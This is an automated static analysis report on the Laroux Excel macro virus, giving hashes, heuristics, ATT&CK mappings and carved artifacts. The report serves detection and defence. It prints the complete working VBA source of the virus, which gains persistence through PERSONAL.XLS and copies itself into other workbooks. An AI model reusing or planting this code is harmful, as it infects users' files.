Xls.Trojan.Laroux-1 — Office (OLE) malware analysis

Static analysis result for SHA-256 0697c1342536e845…

MALICIOUS

Office (OLE)

23.0 KB Created: 1997-12-15 11:24:10 Authoring application: Microsoft Excel First seen: 2012-06-14
MD5: 5148438367f6b61d01039002c3f5e396 SHA-1: 0bbd19b8aa29dc9816f082c8a34f0f884db136fe SHA-256: 0697c1342536e845d62c9bb1e1c9f41a7dd71d29fb152cbda04ab6169ba442fa
322 Risk Score

Malware Insights

Xls.Trojan.Laroux-1 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The file is identified as a malicious Excel 5 macro virus, specifically the Laroux-CV variant, by multiple critical heuristics and ClamAV. The VBA macro contains an 'auto_open' subroutine that attempts to copy a sheet named 'laroux' and save it as 'PERSONAL.XLS' in the application's startup path, thereby establishing persistence. This behavior is consistent with known macro-based malware.

Heuristics 7

  • ClamAV: Xls.Trojan.Laroux-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Trojan.Laroux-1
  • Excel 5 Laroux/Larou-CV macro-virus marker cluster critical OLE_XLS5_LAROUX_MACRO_VIRUS
    Legacy Excel workbook contains a Laroux/Larou-CV macro-virus marker cluster including auto_open execution and workbook/module replication strings. This is a narrow indicator for an infected legacy Excel macro workbook.
  • Embedded Office document has suspicious static findings critical EMBEDDED_OFFICE_CHILD_STATIC_TRIAGE
    A CFB/OLE Office document was found inside another file type and its carved contents matched Office exploit or payload heuristics. This catches wrapped exploit documents where the top-level file routes to a PE, archive, or generic scanner instead of Office.
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • CFB header with no readable streams medium OLE_PARSE_EMPTY_STREAMS
    The file begins with a valid OLE2/CFB header but exposes no directory streams. A non-empty compound document with an unreadable directory is anomalous — it is seen with truncated/corrupt files and, more importantly, with content deliberately shifted off byte boundaries to defeat parsers while the host application still recovers the object.
  • Unsupported Office format for VBA extraction info OFFICE_FORMAT_UNSUPPORTED
    olevba could not extract VBA macros (AttributeError); format-agnostic byte-level scans still ran. Likely legacy, encrypted, or malformed OLE/OOXML — re-scanning the same bytes will yield the same outcome.

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1902 bytes
SHA-256: cbc4ce73a5dfadd3a42feb47c0c39f48bbb6402604f24fc3bca5568820eaee33
Detection
ClamAV: Xls.Trojan.Laroux-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "laroux"


Sub auto_open()
Attribute auto_open.VB_ProcData.VB_Invoke_Func = " \n14"
    Application.OnSheetActivate = "check_files"
End Sub

Sub check_files()
Attribute check_files.VB_ProcData.VB_Invoke_Func = " \n14"
    c$ = Application.StartupPath
    m$ = Dir(c$ & "\" & "PERSONAL.XLS")
    If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
    If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
    whichfile = p + w * 10
    
Select Case whichfile
    Case 10
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    Sheets("laroux").Visible = True
    Sheets("laroux").Select
Rem Sheets("laroux").Copy
    With ActiveWorkbook
        .Title = ""
        .Subject = ""
        .Author = ""
        .Keywords = ""
        .Comments = ""
    End With
    newname$ = ActiveWorkbook.Name
    c4$ = CurDir()
    ChDir Application.StartupPath
    ActiveWindow.Visible = False
    Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "PERSONAL.XLS", FileFormat:=xlNormal _
        , Password:="", WriteResPassword:="", ReadOnlyRecommended:= _
        False, CreateBackup:=False
    ChDir c4$
    Workbooks(n4$).Sheets("laroux").Visible = False
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "personal.xls!check_files"
    Case 1
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    p4$ = ActiveWorkbook.Path
    s$ = Workbooks(n4$).Sheets(1).Name
    If s$ <> "laroux" Then
        Workbooks("PERSONAL.XLS").Sheets("laroux").Copy before:=Workbooks(n4$).Sheets(1)
        Workbooks(n4$).Sheets("laroux").Visible = False
    Else
    End If
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "personal.xls!check_files"
    Case Else
End Select
End Sub
embedded_office_off0000330f.ole embedded-office Embedded OLE/CFB Office body inside ole container at offset 0x330F 10481 bytes
SHA-256: 27abea6df575ec131e865e9c0c1ef684c372d2789365918f9b880499c0ff544f
embedded_office_off000042b7.ole embedded-office Embedded OLE/CFB Office body inside ole container at offset 0x42B7 6473 bytes
SHA-256: 363681e7b4c011a5b5c7eed029159362006f5898b965d03ec5c970d659a47525

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